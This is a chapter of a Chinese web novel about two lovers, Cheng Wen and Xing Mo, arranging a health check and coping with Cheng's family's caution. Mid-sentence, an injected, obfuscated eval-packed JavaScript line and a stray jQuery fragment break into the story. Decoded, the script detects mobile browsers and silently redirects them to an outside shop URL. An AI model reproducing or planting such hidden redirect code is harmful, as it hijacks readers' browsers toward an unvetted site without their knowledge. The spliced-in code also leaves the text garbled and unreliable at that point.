☆、坦诚与信任
程问“啧”了声,又说回到的伤疤上:
“你这看着好像还会疼。”
邢莫:
“早就不疼了。伤已经完全好了,只剩下疤而已。”
程问沉默了一会儿,看向邢莫的眼睛,认真道:
“我还是感觉你在疼。
“很疼。”
邢莫顿了顿。
这疤肯定是不疼了的。
甚至在受这个伤的当时,那疼痛度比起爆丹后的粉碎再重组来,也好像不值得称为“疼”。
不过问题也就在于,爆丹后遗症目前还持续着,从灵魂到金丹再到身体内部遍布的裂纹导致邢莫现在确实还无时无刻不疼痛着。
只是,一方面已经习惯,另一方面,与程问交谈时,疼痛度一直在轻微但稳定地下降。
所以邢莫早已把这视为恢复指标,不算作疼痛了。
于是邢莫回答程问:
“疼痛分很多种,有的代表着悲苦,有的对应着欢愉。
“比如我抓挠你到出血之时,你只会让我再更用力些。”
程问:
“……这是一回事吗?”
邢莫:
“差不太多。
“看着一种绝境被自己征服,真的很爽。哪怕自己为此付出了一定的代价。”
程问:
“我可以成为你的止疼药,对吧?”
邢莫:
“不对。
“止疼药治标不治本,你是能治本的良药。”
程问感动,紧接着便是激动:
“我现在就……”
然后硬生生忍下来,转为说:
“算了,明天要体检,好像确实不适合现在见面。房子这边我也还有点事情得做。还是按原定计划等周一吧。
“你车票是周一几点到竹城?”
邢莫直接把车票展示给程问看。
程问:
“到时候我去接你。”
邢莫:
“嗯。”
这个“嗯”声音特别乖,特别让程问心痒。以至于程问开始承认,在不能立刻线下见面的情况下,视频似乎确实不是个好主意。
越看越想……
程问怀疑今晚自己要睡不着了。
邢莫:
“没关系,核心指标不会受仅仅熬夜一晚的影响。”
程问:
“所以你当真打算仔细看我的体检报告啊?
“你我都知道,我俩的体检结果不会有任何悬念,这只是用来安我家人的心的。”
邢莫:
“那可不一定。”
程问震怒:
“我清清白白的身体,你竟然怀疑我?”
邢莫:
“……程先生,我不是怀疑那方面。”
程问:
“那你怀疑什么?”
邢莫:
“当然是正经的方面。
“导致我身体虚弱、你失忆的方面。”
程问:
“哦……
“但这是体检能查出来的?”
邢莫:
“查了就知道了。”
邢莫并不指望以这个世界目前的医疗水平能治疗灵力方面的重伤。邢莫甚至怀疑,他和程问很可能就是此世界当前最顶级的灵力治疗师。
但邢莫想知道,伤到如此明显的地步,目前的医疗技术会检测出些什么来。
哪怕不能直接得出结论“这是灵力伤”,但也许有某些指标能反应出“异常的未知类型伤害”呢?
如果有人旁听这两人的对话,一定经常会觉得邢莫说得云山雾罩,不像正经人话。
但程问毫无疑问每一次都听懂了、能接上话题。
偶尔程问也会觉得自己好像应该问一问:我俩是不是有很多“以前”?我俩是不是“曾经”一起经历过很多事情?
但每当这类疑问在脑中产生,便会立刻烟消云散。
伴随着的是程问的确信:我俩当然有“以前”,有“曾经”。我俩的过往相处内容丰富着呢。
哪怕程问活到十八岁,一路成长的履历清楚透明,了解他一切的父母哥姐都盖棺认定他前面的生活中完全不存在一个“邢莫”,但程问还是笃定,他与邢莫很熟,特别熟,不分彼此的那种熟。
甚至他对邢莫比对自己的家长们更熟。
他可能猜错他家长们的部分想法,但他总能猜对邢莫的。
比如,程问以为程盛艺会凭VIP身份向体检医院提前索要邢莫的照片。
这就猜错了。
而且错得有点小人之心。
因为程盛艺的实际操作是:正大光明地直接找邢莫本人要。
理由是:
“预约体检需要录入体检者的基本信息。
“你的手机号我有了,再给一下身份证号。如果能直接把身份证扫描件发来就最好了。”
邢莫对此相当配合。不仅身份证,邢莫是把他找到的所有证件都扫描发给了程盛艺。
那份聘书除外,毕竟上面的内容现在看着实在太诈骗。
邢莫:甭试探了。直接拿去查吧。其实我也想知道这里面有没有假证。
程盛艺接收到压缩包打开后震惊了一下。
看到各证件上邢莫的照片后,程盛艺震惊了第二下。
等到看清毕业证学位证,再反复确认邢莫身份证上那出生年份与程问的相同时,程盛艺简直震惊到失语。
最终斟酌了好一会儿后,程盛艺才回复邢莫:
“感谢你的信任。”
邢莫尽可能让自己态度诚恳地说:
“虽然你们可能觉得非常突然、难以理解,但我与程问是真的有心一起过一辈子的。
“这里面其实有很靠谱的理由,只是现在还不好解释。但不太久之后,当你们大致适应了我的存在之后,我和程问一定会完整地告诉你们。”
程盛艺:
“其实我们家对很多事情的接受能力可能比你预料的更强。
“你就算说你与程问是前世伴侣、今生来续前缘,只要你拿得出证据,我们也不是不能尝试相信。”
邢莫:
“但如果没证据,你这条假设就很像诈骗开端了。”
程盛艺:
“那可不。
“所以‘现在不好解释’的原因就是你拿不出证据?”
邢莫:
“这是原因之一。其实严格说来已经有了一些间接证据,但的确还不够扎实。
“另一个原因是,程问自己都还没想起来大多数事情。
“虽然有没有想起来,程问的答案应该都不会变化,但还是等他基本理清状况后,再由他决定如何告诉你们,并向你们证明吧。
“主要是,如果在程问还没想起来时,我先告诉你们了,程问很可能会生
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582469|204956||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
气。”
前面那些说法姑且不论,但最后一句程盛艺很认同:
“他确实有时候特别小心眼。”
然后这一晚,邢莫安稳入睡,为第二天的体检调整状态。
程问辗转反侧,逐渐,脑中只剩下一个念头:我现在过去和邢莫在一起,其实也不影响我俩体检以及处理房子的事情吧?
越想越觉得对,程问干脆打开了订票软件。
在付款之前,程问勉为其难发了条信息通知邢莫。
发信息时程问想的是:你要是没看到,那可不怪我。
不过莫名的,程问又强烈感觉,邢莫会立刻看到。哪怕此时已是凌晨,是正常人睡得最熟的时间。
而实际上,是的,给程问消息设置了特殊提醒的邢莫的确在消息到达的第一时间就睁开了眼。
作为一个能通关九十九场高危险副本的人,除非邢莫主观上不想看,否则哪可能忽略掉消息。
邢莫所谓的“熟睡”只表示他进入了快速修复身体疲劳的状态,并不影响他能立刻察觉周遭环境出现的一切异常。
邢莫设置的特殊提醒没有声音,只是来消息亮屏。当邢莫醒来并看完程问的这条因设置而完整显示到了锁屏界面上的消息时,屏幕都还没变暗。
邢莫紧接着就给程问拨过去视频通话。
程问又遗憾又高兴地接通:
“果然,一件事情只要开了个头,后面就不会再拒绝了。
“之前几天你一直不肯视频露脸,现在一有话说立刻就愿意让我看到你。以此类推,只要我俩线下见了面,你也会觉得就该立刻线下在一起,没必要非拖到周一。”
邢莫:
“我认可你的推测。”
程问:
“所以?”
邢莫:
“但你的家人拿到我的体检报告后才会相对放心你与我线下接触。”
程问:
“……”
邢莫:
“对他们来说,我是不是在设局骗你钱没多大关系。那顶天了不过是真让我骗走一笔,可以当作给刚成年的你交次学费、让你知道世间险恶。
“甚至即使我在骗钱之余还骗了你的感情,但人在年轻时、在还能重振旗鼓之时经历个人渣,涨一份阅历,从长远来看也不算完全的坏事。
“但如果我身上带有糟糕的疾病,感染了你,那对你可就是终身代价了,过于惨烈。”
程问张嘴。
邢莫知道他要说什么,截断道:
“是的,你我都确信我俩身上不存在那类疾病。
“但只是体检一下、等一等出报告,然后你的家人就会放心。而且你姐办了加急,保证了这不会推后我俩原本商量好的线下见面时间。所以为什么不做呢?”
程问再次张嘴。
邢莫再次截断:
“可别说如果现在线下见面,你能忍耐到体检报告出来后才与我发生亲密接触。
“这种话你的家人以及你与我,都不会信。”
程问悻悻:
“好吧,我确实没那个自制力。”
邢莫:
“既然达成了共识,那么现在,亲爱的,放下手机,睡吧。”
程问:
“视频继续连着行吗?我想看着你的脸,还有听到你的呼吸声。”
邢莫:
“当然可以。我找个支架,让摄像头一直对着我。”